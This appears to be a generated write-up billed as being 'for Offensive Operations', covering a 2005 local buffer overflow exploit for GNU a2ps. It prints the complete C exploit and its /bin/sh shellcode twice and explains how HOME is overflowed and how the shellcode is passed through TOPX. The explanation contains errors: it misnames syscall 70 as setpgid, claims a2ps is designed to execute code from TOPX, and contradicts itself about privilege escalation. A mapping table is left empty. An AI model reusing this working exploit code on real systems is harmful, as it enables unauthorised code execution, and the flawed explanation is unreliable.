GNU a2ps Local Overflow: A Deep Dive for Offensive Operations

GNU a2ps Local Overflow: A Deep Dive for Offensive Operations
What this paper is
This paper details a local privilege escalation vulnerability in the GNU a2ps (Anything to PostScript) utility. The vulnerability is a buffer overflow that can be triggered by manipulating environment variables. When a2ps is executed, it processes certain environment variables, and if these variables are crafted with excessive data, they can overwrite critical memory locations, leading to the execution of arbitrary code. The exploit provided targets systems where a2ps is not setuid root, meaning it runs with the privileges of the user executing it.
Simple technical breakdown
The core of the vulnerability lies in how a2ps handles certain environment variables, specifically HOME and TOPX in this exploit.
- Buffer Overflow: The exploit crafts a large string to be used as the value for the
HOMEenvironment variable. This string is designed to be longer than the buffer allocated withina2psto store this variable's value. - Overwriting Return Address: When
a2psprocesses the oversizedHOMEvariable, the excess data spills over the buffer and overwrites adjacent memory. Crucially, it overwrites the saved return address on the stack. The return address tells the program where to resume execution after a function finishes. - Injecting Shellcode: The exploit replaces this return address with the memory address of injected shellcode.
- Shellcode Execution: When the vulnerable function in
a2psattempts to return, it jumps to the attacker-controlled address (the shellcode), executing the malicious code. - Environment Variable for Shellcode: The
TOPXenvironment variable is used to pass the actual shellcode to the vulnerable program.
The exploit uses setenv() to set these environment variables and then execl() to execute a2ps. If the overflow is successful, a2ps will execute the shellcode instead of its intended function.
Complete code and payload walkthrough
Let's break down the provided C code and its shellcode.
/* Not added to Local Non Poc section /str0ke */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
// by lizard / lizstyle[at]gmail.com
// greets go to slider/trog for helpin me
// not suid by default ;(
#define VULNTHING "/usr/bin/a2ps"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
#define xnullbitch 1100
//i`m not a asm guru so i ripped this shellcode
//shellcode by man shadow
char sc[] =
"\x31\xC9" /* xor ecx,ecx */
"\x31\xDB" /* xor ebx,ebx */
"\x6A\x46" /* push byte 70 */
"\x58" /* pop eax */
"\xCD\x80" /* int 80h */
"\x51" /* push ecx */
"\x68\x2F\x2F\x73\x68" /* push 0x68732F2F */
"\x68\x2F\x62\x69\x6E" /* push 0x6E69622F */
"\x89\xE3" /* mov ebx,esp */
"\x51" /* push ecx */
"\x53" /* push ebx */
"\x89\xE1" /* mov ecx,esp */
"\x99" /* cdq */
"\xB0\x0B" /* mov al,11 */
"\xCD\x80"; /* int 80h */
int main(void) {
int ctr = 0;
char buffer[xnullbitch];
fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);
for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
*(long *) &buffer[ctr] = (long) DEFRET;
buffer[xnullbitch - 1] = '\0';
if((setenv("HOME", buffer, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((setenv("TOPX", sc, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
perror("execl()");
exit(1);
}
return(0);
}
// milw0rm.com [2005-02-13]Shellcode (sc array)
This is a small piece of assembly code designed to execute a shell.
"\x31\xC9":xor ecx, ecx- Sets theECXregister to 0."\x31\xDB":xor ebx, ebx- Sets theEBXregister to 0."\x6A\x46":push byte 70- Pushes the byte value 70 (decimal) onto the stack. This is likely intended to set up a value for a system call, though its direct purpose here is a bit obscure without more context of thea2psinternal workings. It might be related to setting up arguments for a subsequent system call."\x58":pop eax- Pops the value from the top of the stack into theEAXregister. So,EAXbecomes 70."\xCD\x80":int 80h- This is the Linux system call interrupt. WithEAXset to 70, this attempts to execute thesys_setpgidsystem call. This call is used to set the process group ID of a process. This might be a preparatory step for later shell execution, or a way to ensure the shell runs in a predictable environment."\x51":push ecx- Pushes the current value ofECX(which is 0) onto the stack."\x68\x2F\x2F\x73\x68":push 0x68732f2f- Pushes the ASCII string "//sh" (reversed byte order) onto the stack. This is the first part of the path to the shell executable."\x68\x2F\x62\x69\x6E":push 0x6e69622f- Pushes the ASCII string "/bin" (reversed byte order) onto the stack. This is the second part of the path."\x89\xE3":mov ebx, esp- Moves the current stack pointer (ESP) into theEBXregister. At this point,EBXpoints to the beginning of the string "/bin//sh" on the stack. This is preparing the argument for theexecvesystem call."\x51":push ecx- PushesECX(which is 0) onto the stack. This will be theargvpointer for theexecvecall."\x53":push ebx- Pushes the value ofEBX(the pointer to "/bin//sh") onto the stack. This will be the first argument (argv[0]) forexecve."\x89\xE1":mov ecx, esp- Moves the current stack pointer (ESP) into theECXregister.ECXnow points to the arguments forexecve(which areargv[0]pointing to "/bin//sh", andargv[1]which is NULL)."\x99":cdq- Sign-extendsEAXintoEDX. SinceEAXis currently 0 (from the initialxor ecx, ecxand subsequent operations),EDXwill also be 0. This is preparingEDXfor theexecvesystem call, which expectsenvp(environment pointer) to be NULL."\xB0\x0B":mov al, 11- Sets the lower 8 bits ofEAXto 11. This corresponds to thesys_execvesystem call number in Linux."\xCD\x80":int 80h- Executes the system call. WithEAX=11,EBXpointing to the command string ("/bin//sh"),ECXpointing to the argument array, andEDXbeing NULL, this invokesexecve("/bin//sh", ["/bin//sh", NULL], NULL), which launches a shell.
Main Function
#include <stdio.h>,#include <stdlib.h>,#include <errno.h>: Standard C library includes for input/output, general utilities, and error handling.#define VULNTHING "/usr/bin/a2ps": Defines the path to the vulnerable executable.#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING): This is a crucial calculation.0xbffffffa: This is a hardcoded address. In older Linux systems, stack addresses often started with0xbfffffff. This value is likely an educated guess for a return address on the stack that, when overwritten, will point into the shellcode.strlen(sc): The length of the shellcode.strlen(VULNTHING): The length of the path toa2ps.- The calculation
0xbffffffa - strlen(sc) - strlen(VULNTHING)attempts to determine an offset. The idea is that the buffer will be filled with a specific value, and then the calculatedDEFRETwill be placed at the end of this buffer. ThisDEFRETvalue is intended to be the address where the shellcode begins, relative to the start of the buffer, such that when the overflow occurs, the return address on the stack is overwritten with this calculated value. This is a common technique to make the exploit more robust against slight variations in stack layout.
#define xnullbitch 1100: Defines the size of the buffer to be used for theHOMEenvironment variable. This is the buffer that will overflow.char sc[] = ...: Declares the shellcode as a character array.int main(void): The main function where execution begins.int ctr = 0; char buffer[xnullbitch];: Declares a loop counter and a character buffer of size 1100.fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);: Prints the calculated target return address. This is useful for debugging and understanding the exploit's target.for(ctr = 0; ctr < xnullbitch - 1; ctr += 4) *(long *) &buffer[ctr] = (long) DEFRET;: This loop fills thebufferwith the calculatedDEFRETvalue. It does this by casting pointers tolongand writing theDEFRETvalue into the buffer in 4-byte chunks (assuming a 32-bit system wherelongis 4 bytes). This effectively overwrites the buffer with the target return address, repeatedly.buffer[xnullbitch - 1] = '\0';: Null-terminates the buffer. While this buffer is intended for an environment variable and not necessarily a C-string in the traditional sense, null termination is good practice.if((setenv("HOME", buffer, 1)) == -1): Sets theHOMEenvironment variable to the contents ofbuffer. The1means to overwrite if it already exists. Ifsetenvfails, it prints an error and exits. This is the primary vector for the overflow.if((setenv("TOPX", sc, 1)) == -1): Sets theTOPXenvironment variable to the shellcode. This is how the shellcode is passed to the vulnerable program.a2psis likely designed to read and execute code from this variable or use it in some way that leads to execution.if((execl(VULNTHING, VULNTHING, NULL)) == -1): Executes thea2psprogram.execlreplaces the current process image with the new program. Ifa2psis vulnerable and the environment variables are set correctly, the overflow will occur, and the shellcode will be executed. Ifexeclfails, it prints an error and exits.return(0);: Standard exit.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/* Not added to Local Non Poc section /str0ke */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
// by lizard / lizstyle[at]gmail.com
// greets go to slider/trog for helpin me
// not suid by default ;(
#define VULNTHING "/usr/bin/a2ps"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
#define xnullbitch 1100
//i`m not a asm guru so i ripped this shellcode
//shellcode by man shadow
char sc[] =
"\x31\xC9" /* xor ecx,ecx */
"\x31\xDB" /* xor ebx,ebx */
"\x6A\x46" /* push byte 70 */
"\x58" /* pop eax */
"\xCD\x80" /* int 80h */
"\x51" /* push ecx */
"\x68\x2F\x2F\x73\x68" /* push 0x68732F2F */
"\x68\x2F\x62\x69\x6E" /* push 0x6E69622F */
"\x89\xE3" /* mov ebx,esp */
"\x51" /* push ecx */
"\x53" /* push ebx */
"\x89\xE1" /* mov ecx,esp */
"\x99" /* cdq */
"\xB0\x0B" /* mov al,11 */
"\xCD\x80"; /* int 80h */
int main(void) {
int ctr = 0;
char buffer[xnullbitch];
fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);
for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
*(long *) &buffer[ctr] = (long) DEFRET;
buffer[xnullbitch - 1] = '\0';
if((setenv("HOME", buffer, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((setenv("TOPX", sc, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
perror("execl()");
exit(1);
}
return(0);
}
// milw0rm.com [2005-02-13]